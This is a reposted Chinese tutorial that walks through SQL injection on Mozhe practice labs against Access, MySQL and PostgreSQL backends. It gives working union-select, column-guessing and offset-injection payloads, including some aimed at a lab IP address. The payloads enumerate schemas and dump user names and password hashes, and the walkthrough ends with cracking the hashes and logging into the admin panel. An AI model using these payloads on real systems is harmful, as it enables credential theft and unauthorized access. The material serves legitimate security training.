首页 > 数据库 > 数据库其它

web安全SQL注入Access&Mysql&Postgre

admin 数据库其它 2021-04-25 18:47:27 sql   web安全  
后台-系统设置-扩展变量-手机广告位-内容正文底部

SQLFuzz字典的使用

漏洞挖掘有三种方法:白盒代码审计、灰盒逆向工程、黑盒测试。其中黑盒的Fuzz测试是效率最高的一种,能够快速验证大量潜在的安全威胁。

Fuzz测试,也叫做“模糊测试”,是一种挖掘软件安全漏洞、检测软件健壮性的黑盒测试,它通过向软件输入非法的字段,观测被测试软件是否异常而实现。Fuzz测试的概念非常容易理解,如果我们构造非法的报文并且通过测试工具打入被测设备,那么这就是一个Fuzz测试的测试例执行,大多数测试工程师肯定都尝试过这种测试手段。

sql模糊测试,可以通过手工配合字典注入来猜测表名、列名,或者直接暴露猜解数据库名,表名

1.sqlmap的字典
在这里插入图片描述
2.fuzzdb
在这里插入图片描述

https://github.com/sqlmapproject/sqlmap
https://github.com/fuzzdb-project/fuzzdb

SQL注入-Access联合和偏移注入

Access数据库介绍:Microsoft Office Access是由微软发布的关系数据库管理系统。它结合了MicrosoftJet Database Engine 和图形用户界面两项特点,是Microsoft Office的系统程序之一。

靶场:https://www.mozhe.cn/bug/detail/VExmTm05OHhVM1dBeGdYdmhtbng5UT09bW96aGUmozhe
在这里插入图片描述
直接上墨者靶场
在这里插入图片描述
点击这里的超链接进入漏洞地址

在这里插入图片描述
先and 1=1 ,and 1=2 判断发现存在注入
access注入的话得了解它的结构,Access—>表名—>列名—>数据,它和mysql和其他数据的结构不一样,我们只需要得到表名,然后获取列名,最后得到数据。Access需要猜解表名或列名,需要借助字典暴力破解,所以Access数据库注入属于暴力猜解注入,注入的时候会出现表名或列名获取不到的情况,我们需要借助大量的字典尝试获取。

接着通过order by来判断列数
在这里插入图片描述
order by 5出现错误,说明有4列

然后直接union select 1,2,3,4 from admin 进行猜测发现有回显,表示有admin这个表
在这里插入图片描述
那么表名—>admin 列名—>未知

1.暴力拆解,判断列名
id=1 and exists(select username from admin) //页面返回正常,说明存在username列
id=1 and exists(select passwd from admin) //页面返回正常,说明存在passwd列
id=1 and exists(select id from admin) //页面返回正常,说明存在id列
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
这种方法可以手工注入配合字典

2.偏移注入
偏移注入:解决表名获取到,获取不到列名的情况
这里原先联合查询语句:http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,3,4 from admin

然后我们从4这里开始用*代替直到它回显正常

http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,3,* from admin

在这里插入图片描述

http://219.153.49.228:42893/new_list.asp?id=1 union select 1,2,* from admin

在这里插入图片描述

http://219.153.49.228:42893/new_list.asp?id=1 union select 1,* from admin

在这里插入图片描述
这里偏移了3个说明admin表下有3列
那么这里如果还要偏移的话需要再偏移3个,这里只能到union select 1,* from admin,所以二级偏移不行,二级,三级如下

* from (admin as a inner join admin as b on a.id = b.id) //二级偏移
* from ((admin as a inner join admin as b on a.id = b.id)inner join admin as c on a.id=c.id) //三级偏移

在这里插入图片描述
等到密码MD5解密登陆后台

SQL注入-Mysql联合注入

Mysql数据库介绍:MySQL是一个关系型数据库管理系统,由瑞典MySQL AB公司开发,目前属于Oracle旗下产品。在Web应用方面,MySQL是最好的RDBMS应用软件之一,所使用的SQL语言是用于访问数据库的最常用标准化语言。

靶场:https://www.mozhe.cn/bug/detail/elRHc1BCd2VIckQxbjduMG9BVCtkZz09bW96aGUmozhe
同上直接上墨者靶场
在这里插入图片描述
直接老方法 and 1=1 页面正常,and 1=2 页面错误 id=1 a页面错误 说明存在sql注入
拿到mysql先收集一波信息,查询函数:database() 数据库名、version() 数据库版本、user() 数据库用户、@@version_compile_os 操作系统

我们来收集康康,先order by 判断列数
在这里插入图片描述
有4列直接联合查询 union select 1,2,3,4
在这里插入图片描述
发现没有回显,其实这是个显示位的问题,只需要让id=-1 报错,执行后面的sql语句就能回显
在这里插入图片描述
信息收集,数据库名
在这里插入图片描述
数据库版本
在这里插入图片描述
数据库用户
在这里插入图片描述
操作系统
在这里插入图片描述
数据库名—>mozhe_Discuz_StormGroup
这里mysql版本是5.0以上,注意mysql5.0以下没有数据库名information_schema,在MYSQL5包含以上版本自带的数据库名information_schema,它是一个存储有MYSQL所有数据库名,表名,列名信息的数据库,MYSQL5以下版本不自带。我们可以借助查询information_schema获取指定数据库名下的表名或列名信息,从而注入实现有根据查询。

information_schema.tables表下的列table_name 存储表名信息的表
在这里插入图片描述
information_schema.columns表下的列column_name 存储表名信息的表
在这里插入图片描述
information_schema.schemata表下的列shcema_name 存储数据库名信息的表
在这里插入图片描述
table_schema=“mozhe_Discuz_StormGroup” 指定数据库
在这里插入图片描述
这里需要说明一下几个函数
concat的功能:将多个字符串连接成一个字符串。语法:concat(str1,str2...)

concat_ws功能:和concat()一样,将多个字符串连接成一个字符串,但是可以一次性指定分隔符(concat_ws就是concat with separator)。语法:concat_ws(separator,str1,str2..)

group_concat功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。语法:group_concat([distinct]要连接的字段[order by 排序字段 asc/desc] [separator‘分隔符’])

那么就可以构造sql语句-1 union select 1,(group_concat(table_name)),3,4 from information_schema.tables where table_schema=“mozhe_Discuz_StormGroup”

在这里插入图片描述
这里就发现有两个表StormGroup_member,notice,我们主要关注StormGroup_member表
现在有了数据库名,表名,就需要列名

构造sql语句-1 union select 1,(group_concat(column_name)),3,4 from information_schema.columns where table_name=“StormGroup_member”
在这里插入图片描述
现在有列名就可以直接获取指定表名-1 union select 1,name,password,4 from StormGroup_member
在这里插入图片描述
发现这个并没有全通过group_concat函数进行查询把它输出到一列,-1 union select 1,group_concat(name),group_concat(password),4 from StormGroup_member
在这里插入图片描述

SQL注入-PostgreSQL联合注入

PostgreSQL数据库介绍:PostgreSQL是以加州大学伯克利分校计算机系开发的POSTGRES,现在已经更名为PostgreSQL,版本 4.2为基础的对象关系型数据库管理系统(ORDBMS)。

同上直接上墨者靶场,访问得到
https://www.mozhe.cn/bug/detail/ZUd5cld1TU9zdEJ0NWFaSTNXeERRdz09bW96aGUmozhe
在这里插入图片描述
Sql注入之Postgresql参考:https://www.cnblogs.com/she11s/p/12326629.html
还是通过 and 1=1 ,and 1=2 判断是否存在注入,这里order by 发现有4列
在这里插入图片描述
联合注入用法和mysql类似
1 union select null,null,null, null
在这里插入图片描述
发现没有回显,把它改成-1 union select null,null,null, null
在这里插入图片描述
再加上一个version()查看版本,-1 union select null,version(),null, null
在这里插入图片描述
查询数据库名称构造sql语句
-1 union select null,current_database(),null, null,数据库名:mozhedvcms
在这里插入图片描述

查询表名构造sql语句,发现只有一个表名
-1 union select null,relname,null, null from pg_stat_user_tables
在这里插入图片描述
查询多个表名构造sql语句,表名:reg_users
-1 union select null,relname,null, null from pg_stat_user_tables limit 1 offset 1 通过limit来控制表名,这里查询出来表名reg_users
在这里插入图片描述
查询列名,列名:password name
union select null,column_name,null,null from information_schema.columns where table_name=‘reg_users’
在这里插入图片描述
再然后通过 limit来控制 union select null,column_name,null,null from information_schema.columns where table_name=‘reg_users’ limit 1 offset 1
在这里插入图片描述
在这里插入图片描述

查询数据 union select null,id,null,null from reg_users
在这里插入图片描述 列出所有用户名和密码 union select null,string_agg(name,’,’),string_agg(password,’,’),null from reg_users
在这里插入图片描述

拿到密码md5解密配合账号登陆后台
在这里插入图片描述
在这里插入图片描述

文章来源:https://blog.csdn.net/qq_36241198/article/details/116043079

后台-系统设置-扩展变量-手机广告位-内容正文底部
版权声明

本文仅代表作者观点,不代表本站立场。
本文系作者授权发表,未经许可,不得转载。
本文地址:https://jcdi.cn/shujuku/b5a9858b7dbae8866f6850bd6ad4ac39.html

留言与评论(共有 0 条评论)
   
验证码:
后台-系统设置-扩展变量-手机广告位-评论底部广告位

教程弟

https://www.jcdi.cn/

统计代码 | 京ICP1234567-2号

Powered By 教程弟 教程弟

使用手机软件扫描微信二维码